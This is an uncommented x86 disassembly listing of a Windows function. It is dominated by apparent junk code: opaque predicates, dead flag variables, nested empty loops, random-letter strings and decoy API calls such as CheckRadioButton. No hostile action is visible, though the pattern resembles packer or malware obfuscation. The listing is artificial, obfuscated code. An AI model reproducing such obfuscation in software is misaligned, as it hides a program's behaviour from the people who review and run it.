push 0
lea ecx, [ebp - 0x13d8]
call fcn.0045232c
mov ecx, dword [ebp - 0x154]
cmp dword [eax], ecx
jl 0x491edd
mov dword [ebp - 0xf2c], 1
jmp 0x491ee4
and dword [ebp - 0xf2c], 0
cmp dword [ebp - 0xf2c], 0
jne 0x491f06
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x340], 0
jne 0x491f06
and dword [ebp - 0xab4], 0
jmp 0x491f10
mov dword [ebp - 0xab4], 1
cmp dword [ebp - 0xab4], 0xfffffff9
jne 0x491f25
mov dword [ebp - 0x116c], 1
jmp 0x491f2c
and dword [ebp - 0x116c], 0
cmp dword [ebp - 0x116c], 0x1aa12afd
jne 0x491f44
mov dword [ebp - 0xabc], 1
jmp 0x491f4b
and dword [ebp - 0xabc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x340]
cmp dword [ebp - 0xabc], eax
jl 0x491f6c
mov dword [ebp - 0xf34], 1
jmp 0x491f73
and dword [ebp - 0xf34], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x340]
imul eax, dword [ebp - 0xf34]
add eax, 0x3703
cmp eax, 0xe964
jle 0x491f9f
mov dword [ebp - 0xac4], 1
jmp 0x491fa6
and dword [ebp - 0xac4], 0
cmp dword [ebp - 0xac4], 0xd64b
jl 0x491fbe
mov dword [ebp - 0x128c], 1
jmp 0x491fc5
and dword [ebp - 0x128c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x340]
add eax, dword [ebp - 0x128c]
neg eax
je 0x491fef
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x491fef
mov dword [ebp - 0x14a8], 1
jmp 0x491ff6
and dword [ebp - 0x14a8], 0
push 1
lea ecx, [ebp - 0x13d8]
call fcn.0045232c
mov eax, dword [eax]
add eax, 0x78ef
jne 0x492025
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x340], 0
jne 0x492025
and dword [ebp - 0xacc], 0
jmp 0x49202f
mov dword [ebp - 0xacc], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x340]
cmp dword [ebp - 0xacc], eax
je 0x492050
mov dword [ebp - 0xf3c], 1
jmp 0x492057
and dword [ebp - 0xf3c], 0
push dword [ebp - 0x154]
lea ecx, [ebp - 0x13d8]
call fcn.0045232c
mov ecx, dword [ebp - 0xf3c]
mov dword [eax], ecx
jmp 0x491e0a
push 0x14b1
push 0x1ed
push 0x44be
push 0x2316
push 1
push 1
push 1
call fcn.00470f98
add esp, 0x1c
lea ecx, [ebp - 0x13d8]
call fcn.00452310
mov dword [ebp - 0x1508], 1
push 4
lea ecx, [ebp - 0x1ce4]
call fcn.0045223e
push 3
lea ecx, [ebp - 0x1ccc]
call fcn.0045223e
mov dword [ebp - 0x25c], 0
jmp 0x4920df
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 4
jge 0x492101
push dword [ebp - 0x25c]
lea ecx, [ebp - 0x1ce4]
call fcn.0045232c
mov dword [eax], 0x313d
jmp 0x4920d2
push 0x62c1
push 0x262d
push 0x798c
lea eax, [ebp - 0x25c]
push eax
push 1
push 0x64b1
push 1
push 0x2d8a
push 1
push 0
push 0x2164
push 0xc0c
lea eax, [ebp - 0x1ccc]
push eax
call fcn.00485050
add esp, 0x34
lea eax, [ebp - 0x1ce4]
push eax
push 0x430b
push 0x2479
push 0
lea eax, [ebp - 0x1ccc]
push eax
push 0x1035
push 1
push 1
push 1
push 0x48d4
call fcn.0047dace
add esp, 0x28
lea ecx, [ebp - 0x1ccc]
call fcn.00452310
lea ecx, [ebp - 0x1ce4]
call fcn.00452310
mov dword [ebp - 0x1ea0], 0x270f9e3
push 1
lea ecx, [ebp - 0x6f4]
call fcn.0045223e
mov dword [ebp - 0x88], 0xc70bb743
mov dword [ebp - 0x6b8], 0
mov dword [ebp - 0x798], 0x663b8b2
mov dword [ebp - 0x19b0], 0x725eff85
push 1
push 0
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x6f4]
push eax
push 1
push 0x1f91
call fcn.00477916
add esp, 0x18
mov dword [ebp - 0x98], 0
jmp 0x492203
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x49221f
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x6e0], 0xdde9ab5c
jmp 0x4921f6
mov dword [ebp - 0x98], 0
jmp 0x492238
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x492254
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x1cfc], 0xfffffff6
jmp 0x49222b
mov dword [ebp - 0x88], 0
jmp 0x49226d
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jl 0x49249c
mov dword [ebp - 0x19f8], 0xffffffff
mov dword [ebp - 0x19f4], 0xffffffff
mov dword [ebp - 0x19f0], 0xffffffff
mov dword [ebp - 0x19ec], 0xffffffff
push dword [ebp - 0x88]
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
cmp dword [eax], 0x9008cf5a
jbe 0x49234d
push dword [ebp - 0x88]
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
cmp dword [eax], 0
je 0x4922e7
push 0
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
cmp dword [eax], 0
jne 0x492306
push dword [ebp - 0x88]
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
cmp dword [eax], 0
jne 0x492306
and dword [ebp - 0x810], 0
jmp 0x492310
mov dword [ebp - 0x810], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x810]
mov dword [ebp + eax - 0x6e0], ecx
cmp dword [ebp - 0x810], 0xbd01
jg 0x49233b
mov dword [ebp - 0xad4], 1
jmp 0x492342
and dword [ebp - 0xad4], 0
or eax, 0xffffffff
sub eax, dword [ebp - 0xad4]
je 0x492362
mov eax, 0xdffbe584
test eax, eax
je 0x492362
mov dword [ebp - 0x1174], 1
jmp 0x492369
and dword [ebp - 0x1174], 0
mov eax, dword [ebp - 0x1174]
sub eax, 0x67f5aee0
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x19f8]
jle 0x49238f
mov dword [ebp - 0xadc], 1
jmp 0x492396
and dword [ebp - 0xadc], 0
push 0
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
mov ecx, dword [ebp - 0xadc]
cmp ecx, dword [eax]
jle 0x4923b9
mov dword [ebp - 0xf44], 1
jmp 0x4923c0
and dword [ebp - 0xf44], 0
push 0
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
mov ecx, dword [ebp - 0xf44]
imul ecx, dword [eax]
cmp ecx, 6
jb 0x4923e7
mov dword [ebp - 0x1904], 1
jmp 0x4923ee
and dword [ebp - 0x1904], 0
push dword [ebp - 0x88]
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x19f8], 0x4b14151c
jg 0x49241e
mov dword [ebp - 0xae4], 1
jmp 0x492425
and dword [ebp - 0xae4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x19f8]
cmp dword [ebp - 0xae4], eax
jne 0x492446
mov dword [ebp - 0x12c4], 1
jmp 0x49244d
and dword [ebp - 0x12c4], 0
push 0
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
mov esi, dword [ebp - 0x12c4]
imul esi, dword [eax]
push dword [ebp - 0x88]
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
cmp esi, dword [eax]
jne 0x492484
mov dword [ebp - 0xaec], 1
jmp 0x49248b
and dword [ebp - 0xaec], 0
mov eax, dword [ebp - 0xaec]
mov dword [ebp - 0x6b8], eax
jmp 0x492260
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6e0]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x1ea8], eax
cmp dword [ebp - 0x6b8], 0xfffffffd
jge 0x4924d0
mov dword [ebp - 0xb04], 1
jmp 0x4924d7
and dword [ebp - 0xb04], 0
push 6
pop eax
test eax, eax
je 0x4924fc
push 0
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
cmp dword [eax], 0
je 0x4924fc
mov dword [ebp - 0xf4c], 1
jmp 0x492503
and dword [ebp - 0xf4c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6e0]
cmp dword [ebp - 0xf4c], eax
jg 0x492524
mov dword [ebp - 0xaf4], 1
jmp 0x49252b
and dword [ebp - 0xaf4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6e0]
cmp dword [ebp - 0xaf4], eax
je 0x49254c
mov dword [ebp - 0x14b0], 1
jmp 0x492553
and dword [ebp - 0x14b0], 0
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x1eb0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1cfc]
mov dword [ebp - 0x798], eax
mov eax, dword [ebp - 0x6b8]
cmp dword [ebp - 0x798], eax
jge 0x49258c
mov dword [ebp - 0x117c], 1
jmp 0x492593
and dword [ebp - 0x117c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x117c]
add ecx, 0x2b52
cmp dword [ebp + eax - 0x1cfc], ecx
je 0x4925c9
push 0
lea ecx, [ebp - 0x6f4]
call fcn.0045232c
cmp dword [eax], 0
jne 0x4925c9
and dword [ebp - 0x1804], 0
jmp 0x4925d3
mov dword [ebp - 0x1804], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x6e0]
mov dword [ebp - 0x1eb8], eax
xor eax, eax
inc eax
cmp eax, 0xfff6
jb 0x4925fc
mov dword [ebp - 0xafc], 1
jmp 0x492603
and dword [ebp - 0xafc], 0
cmp dword [ebp - 0xafc], 0x60d9
jle 0x49261b
mov dword [ebp - 0xf54], 1
jmp 0x492622
and dword [ebp - 0xf54], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6e0]
cmp dword [ebp - 0xf54], eax
jge 0x492643
mov dword [ebp - 0x14b8], 1
jmp 0x49264a
and dword [ebp - 0x14b8], 0
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x1ec0], eax
cmp dword [ebp - 0xb04], 0x639b6af4
jge 0x49266e
mov dword [ebp - 0x1294], 1
jmp 0x492675
and dword [ebp - 0x1294], 0
cmp dword [ebp - 0x1294], 1
jle 0x49268a
mov dword [ebp - 0xb0c], 1
jmp 0x492691
and dword [ebp - 0xb0c], 0
cmp dword [ebp - 0xb0c], 0
jg 0x4926a6
mov dword [ebp - 0xf5c], 1
jmp 0x4926ad
and dword [ebp - 0xf5c], 0
cmp dword [ebp - 0xf5c], 4
jge 0x4926c8
cmp dword [ebp - 0x19b0], 0
jne 0x4926c8
and dword [ebp - 0xb14], 0
jmp 0x4926d2
mov dword [ebp - 0xb14], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1cfc]
cmp dword [ebp - 0xb14], eax
jge 0x4926f3
mov dword [ebp - 0x1184], 1
jmp 0x4926fa
and dword [ebp - 0x1184], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6e0]
cmp dword [ebp - 0x1184], eax
je 0x49271b
mov dword [ebp - 0xb1c], 1
jmp 0x492722
and dword [ebp - 0xb1c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6e0]
cmp dword [ebp - 0xb1c], eax
jle 0x492743
mov dword [ebp - 0xf64], 1
jmp 0x49274a
and dword [ebp - 0xf64], 0
cmp dword [ebp - 0xf64], 0
ja 0x49275f
mov dword [ebp - 0xb24], 1
jmp 0x492766
and dword [ebp - 0xb24], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb24]
mov dword [ebp + eax - 0x6e0], ecx
lea ecx, [ebp - 0x6f4]
call fcn.00452310
mov dword [ebp - 0x1ec8], 0xa05d7627
mov dword [ebp - 0x14d0], 0x2a43d953
mov dword [ebp - 0x180c], 0xbad86e52
mov dword [ebp - 0x14c0], 0xfffffff8
mov dword [ebp - 0x1ed0], 0xd42ca8cd
mov dword [ebp - 0x1444], 0xffffffff
mov dword [ebp - 0x14c8], 0
push 1
lea ecx, [ebp - 0x1ca8]
call fcn.0045223e
mov dword [ebp - 0x418], 0
jmp 0x4927f0
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 1
jge 0x492812
push dword [ebp - 0x418]
lea ecx, [ebp - 0x1ca8]
call fcn.0045232c
mov dword [eax], 0xfffffff6
jmp 0x4927e3
push 0x4124
push 1
lea eax, [ebp - 0x14c0]
push eax
lea eax, [ebp - 0x180c]
push eax
push 0x4a7b
push 0x42b7
lea eax, [ebp - 0x1ca8]
push eax
push 0x4fad
push 1
lea eax, [ebp - 0x14c8]
push eax
push 0
lea eax, [ebp - 0x1444]
push eax
push 0x5c8f
push 1
lea eax, [ebp - 0x14d0]
push eax
call fcn.0048aad7
add esp, 0x3c
mov byte [ebp - 0x18d], 0
lea eax, [ebp - 0x18d]
push eax
push 1
push 0
push 0
push 0
push 0x734a
push 0x562b
push 0xb33
push 0x7cd
push 1
call fcn.00486981
add esp, 0x28
lea ecx, [ebp - 0x1ca8]
call fcn.00452310
mov dword [ebp - 0x1ed8], 0
mov dword [ebp - 0x14d8], 0
mov dword [ebp - 0x1814], 1
mov dword [ebp - 0x14e0], 0xc6d21cd
mov dword [ebp - 0x19d0], 1
mov dword [ebp - 0x1ee0], 0
lea eax, [ebp - 0x1814]
push eax
push 0x77cc
lea eax, [ebp - 0x14d8]
push eax
push 0
push 0x4eae
push 0xd5
push 0x564a
lea eax, [ebp - 0x19d0]
push eax
push 0x6ef6
push 0x637c
push 0x685
push 1
lea eax, [ebp - 0x14e0]
push eax
push 0x3325
push 1
call fcn.004895f6
add esp, 0x3c
push 2
lea ecx, [ebp - 0x2158]
call fcn.0045223e
mov dword [ebp - 0x580], 0xdf1febae
mov dword [ebp - 0x181c], 0x1cdcb363
push 1
push 0x155
push 0
push 0
push 0
push 0x97a
push 0x647c
lea eax, [ebp - 0x2158]
push eax
lea eax, [ebp - 0x2c4]
push eax
call fcn.00476070
add esp, 0x24
mov dword [ebp - 0x2c4], 0
jmp 0x492999
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 2
jge 0x4929b5
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0x2434], 0xffffffff
jmp 0x49298c
mov dword [ebp - 0x580], 0
jmp 0x4929ce
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 1
jg 0x492a79
mov dword [ebp - 0x420], 0
jmp 0x4929f4
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 1
jge 0x492a10
mov eax, dword [ebp - 0x420]
mov dword [ebp + eax*4 - 0x1ee8], 1
jmp 0x4929e7
push 0x42bc
push 1
push 0x20ac
push 0
push 0x4d19
push 0
push 0x2d62
push 0x605
push 1
push 0x32fc
push 0x3dca
push 0x2cfa
lea eax, [ebp - 0x181c]
push eax
push 0x928
push 0x53d3
push 0x2402
push 0x63ba
push 1
push 0x30bb
push 0x4193
push 0x76a6
call fcn.00476d1a
add esp, 0x54
jmp 0x4929c1
lea ecx, [ebp - 0x2158]
call fcn.00452310
mov dword [ebp - 0x1ef0], 0x5fba2522
push 4
lea ecx, [ebp - 0x1a70]
call fcn.0045223e
mov dword [ebp - 0x1d4], 4
push 0
push 1
push 0x3e27
lea eax, [ebp - 0x1a70]
push eax
lea eax, [ebp - 0x1ef8]
push eax
push 0x63cc
push 0
push 0x1ced
call fcn.0048a5ac
add esp, 0x20
mov dword [ebp - 0x12cc], 0x469f
mov dword [ebp - 0x14e8], str.drmozyo_vudbgvpun_zusc_afk_nhgdhb_btaia_stmfbv
cmp dword [ebp - 0x12cc], 0x471b
jle 0x492ba7
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
and dword [ebp - 0x588], 0
jmp 0x492b12
mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 0x3afd
jge 0x492ba7
and dword [ebp - 0x630], 0
jmp 0x492b38
mov eax, dword [ebp - 0x630]
inc eax
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0x69aa
jge 0x492ba2
and dword [ebp - 0x428], 0
jmp 0x492b5a
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x67d4
jge 0x492ba0
mov eax, dword [ebp - 0x630]
cdq
idiv dword [ebp - 0x428]
and edx, dword [ebp - 0x588]
mov eax, edx
cdq
mov dword [ebp - 0x1638], eax
mov dword [ebp - 0x1634], edx
push dword [ebp - 0x1634]
push dword [ebp - 0x1638]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x492b4d
jmp 0x492b2b
jmp 0x492b05
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x12cc], 0x4355
jge 0x492bca
mov edx, dword [ebp - 0x14e8]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x492be6
or dword [ebp - 4], 0xffffffff
jmp 0x492bf0
mov dword [ebp - 0x1d4], 3
jmp 0x492c09
mov eax, dword [ebp - 0x1d4]
dec eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jl 0x492dac
push 1
lea ecx, [ebp - 0x1388]
call fcn.0045223e
mov dword [ebp - 0x430], 0
jmp 0x492c3c
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 1
jge 0x492c5e
push dword [ebp - 0x430]
lea ecx, [ebp - 0x1388]
call fcn.0045232c
mov dword [eax], 9
jmp 0x492c2f
push 0
lea ecx, [ebp - 0x1388]
call fcn.0045232c
and dword [eax], 0
jmp 0x492c94
push 0
lea ecx, [ebp - 0x1388]
call fcn.0045232c
mov dword [ebp - 0xb2c], eax
mov eax, dword [ebp - 0xb2c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xb2c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1388]
call fcn.0045232c
cmp dword [eax], 3
jg 0x492d76
mov dword [ebp - 0x690], 0x40ed3c15
push 0x65f8
lea eax, [ebp - 0x1d4]
push eax
push 0x6688
push 0x1432
push 0
push 1
push 0x4bb2
push 0x1902
push 1
push 1
lea eax, [ebp - 0x1a70]
push eax
push 0
push 1
lea eax, [ebp - 0x1388]
push eax
push 0x7c8e
call fcn.004828d8
add esp, 0x3c
mov dword [ebp - 0x690], 3
jmp 0x492d14
mov eax, dword [ebp - 0x690]
dec eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 0
jl 0x492d71
mov byte [ebp - 0x125], 0
push 1
push 0x671a
push 0x4888
push 0x6dff
push 0x24c7
push 0x943
push 0
push 0x16c8
lea eax, [ebp - 0x125]
push eax
push 1
push 0x7f12
push 0x39d3
push 0x35e9
push 1
push 0x1f9
push 1
call fcn.0047ee26
add esp, 0x40
jmp 0x492d07
jmp 0x492c70
push dword [ebp - 0x1d4]
lea ecx, [ebp - 0x1a70]
call fcn.0045232c
cmp dword [eax], 0
je 0x492d9c
lea ecx, [ebp - 0x1388]
call fcn.00452310
jmp 0x492bfc
lea ecx, [ebp - 0x1388]
call fcn.00452310
jmp 0x492bfc
lea ecx, [ebp - 0x1a70]
call fcn.00452310
push 2
lea ecx, [ebp - 0x2168]
call fcn.0045223e
mov dword [ebp - 0xa8], 0xf7e2799a
mov dword [ebp - 0x438], 0
jmp 0x492de7
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 4
jge 0x492e03
mov eax, dword [ebp - 0x438]
mov dword [ebp + eax*4 - 0x2394], 0x887
jmp 0x492dda
mov dword [ebp - 0xa8], 0
jmp 0x492e1c
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0xffffffe5
jle 0x492ed9
push 2
lea ecx, [ebp - 0x1a28]
call fcn.0045223e
mov dword [ebp - 0x1914], 0xc7555b7c
push 0x5d71
push 0
lea eax, [ebp - 0x1f00]
push eax
push 1
push 1
push 0x3038
push 0x7929
push 0
lea eax, [ebp - 0x1a28]
push eax
push 0x1bb1
push 0x1d98
push 0
call fcn.004793f3
add esp, 0x30
push 0x322e
lea eax, [ebp - 0x1a28]
push eax
push 0
push 1
push 0x1bb9
push 0
push 0x6117
push 1
push 0x798b
lea eax, [ebp - 0x1914]
push eax
push 0x1ed6
call fcn.0047054e
add esp, 0x2c
cmp dword [ebp - 0xa8], 0
je 0x492ec9
lea ecx, [ebp - 0x1a28]
call fcn.00452310
jmp 0x492e0f
lea ecx, [ebp - 0x1a28]
call fcn.00452310
jmp 0x492e0f
mov dword [ebp - 0xa8], 3
jmp 0x492ef2
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jl 0x492f0f
mov eax, dword [ebp - 0xa8]
cmp dword [ebp + eax*4 - 0x2394], 0
je 0x492f0d
jmp 0x492f0f
jmp 0x492ee5
mov dword [ebp - 0xbb4], 0
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x1194], 0xffffffff
or dword [ebp - 0x1b4c], 0xffffffff
or dword [ebp - 0x1b48], 0xffffffff
or dword [ebp - 0x1b44], 0xffffffff
or dword [ebp - 0x1b40], 0xffffffff
lea ecx, [ebp - 0x7d1]
call fcn.0045233b
push eax
lea eax, [ebp - 0x1b3c]
push eax
lea eax, [ebp - 0x1b4c]
push eax
lea ecx, [ebp - 0x23f4]
call fcn.0045233e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x22ec]
call fcn.004522ea
mov dword [ebp - 0x28], 0
jmp 0x492f8b
cmp dword [ebp - 0x28], 0xd
je 0x493225
mov dword [ebp - 0xb5c], 0x292978d8
mov dword [ebp - 0x264], 8
mov dword [ebp - 0x15c], 1
mov dword [ebp - 0xb34], 0x8629342b
mov dword [ebp - 0xb3c], 4
mov eax, 0xe665
test eax, eax
je 0x493063
lea ecx, [ebp - 0x22ec]
call fcn.00452310
mov dword [ebp - 0x304], 0
jmp 0x493249
mov eax, dword [ebp - 0x14e4]
mov dword [ebp - 0x1504], eax
mov eax, dword [ebp - 0x14ec]
mov dword [ebp - 0x150c], eax
mov eax, dword [ebp - 0x14f4]
mov dword [ebp - 0x1514], eax
mov eax, dword [ebp - 0x14fc]
mov dword [ebp - 0x151c], eax
mov eax, dword [ebp - 0x1504]
mov dword [ebp - 0x7bc], eax
mov eax, dword [ebp - 0x150c]
mov dword [ebp - 0x1f0c], eax
mov eax, dword [ebp - 0x1514]
mov dword [ebp - 0x220c], eax
mov eax, dword [ebp - 0x151c]
mov dword [ebp - 0x1f14], eax
push 1
mov ecx, dword [ebp - 0x7bc]
call fcn.0045232c
mov esi, eax
push 2
mov ecx, dword [ebp - 0x7bc]
call fcn.0045232c
xor ecx, ecx
inc ecx
sub ecx, dword [eax]
mov esi, dword [esi]
sub esi, ecx
sub esi, 0xffff
push 3
mov ecx, dword [ebp - 0x7bc]
call fcn.0045232c
mov dword [eax], esi
jmp 0x4a0b5d
mov eax, dword [ebp - 0x1524]
mov dword [ebp - 0x153c], eax
mov eax, dword [ebp - 0x152c]
mov dword [ebp - 0x1534], eax
push 0
push 1
push 0x1a29
push 0x1bb8
push 0x5171
push dword [ebp - 0x1534]
push dword [ebp - 0x153c]
push 0
push 0x7681
call fcn.00480509
add esp, 0x24
jmp 0x4a0d3b
lea eax, [ebp + 0x18]
mov dword [ebp - 0x1554], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x1564], eax
mov dword [ebp - 0x1238], 0x4ed1
mov dword [ebp - 0x1544], str.wlz_ugfumh_qgucv_lyqdtz_xjlqpbem_cjj_jbe_zuamzlm_whpt_rdvvvw_tbafwnw_trgma_ooc_ruaevm
cmp dword [ebp - 0x1238], 0x5224
jle 0x4a0cb2
push 0x1356
push 0x12be
push 0x17e3
push 0xc9d
call dword [sym.imp.USER32.dll_CheckRadioButton]
and dword [ebp - 0x6bc], 0
jmp 0x4a0bc8
mov eax, dword [ebp - 0x6bc]
inc eax
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 0x5f6e
jge 0x4a0cb2
and dword [ebp - 0x6c4], 0
jmp 0x4a0bee
mov eax, dword [ebp - 0x6c4]
inc eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 0x5a2a
jge 0x4a0cad
and dword [ebp - 0x6cc], 0
jmp 0x4a0c14
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 0x10ab
jge 0x4a0ca8
and dword [ebp - 0x6d4], 0
jmp 0x4a0c3a
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 0x5638
jge 0x4a0ca3
mov eax, dword [ebp - 0x6bc]
sub eax, dword [ebp - 0x6c4]
mov edx, dword [ebp - 0x6cc]
mov ecx, dword [ebp - 0x6d4]
shl edx, cl
and eax, edx
cdq
mov dword [ebp - 0x17ac], eax
mov dword [ebp - 0x17a8], edx
push dword [ebp - 0x17a8]
push dword [ebp - 0x17ac]
lea ecx, [ebp - 0x26e4]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x26e4]
call fcn.00452114
jmp 0x4a0c2d
jmp 0x4a0c07
jmp 0x4a0be1
jmp 0x4a0bbb
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x154c], eax
mov dword [ebp - 4], 0x48
cmp dword [ebp - 0x1238], 0x4c08
jge 0x4a0cda
push dword [ebp - 0x1544]
call fcn.004b0bf7
pop ecx
jmp 0x4a0cf6
or dword [ebp - 4], 0xffffffff
jmp 0x4a0d00
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x155c], eax
push dword [ebp - 0x154c]
push 0x5cd3
mov eax, dword [ebp - 0x1554]
movzx eax, byte [eax]
push eax
push dword [ebp - 0x155c]
push dword [ebp - 0x1564]
push 0x16fb
push 0
push 1
call fcn.00471d6f
add esp, 0x20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret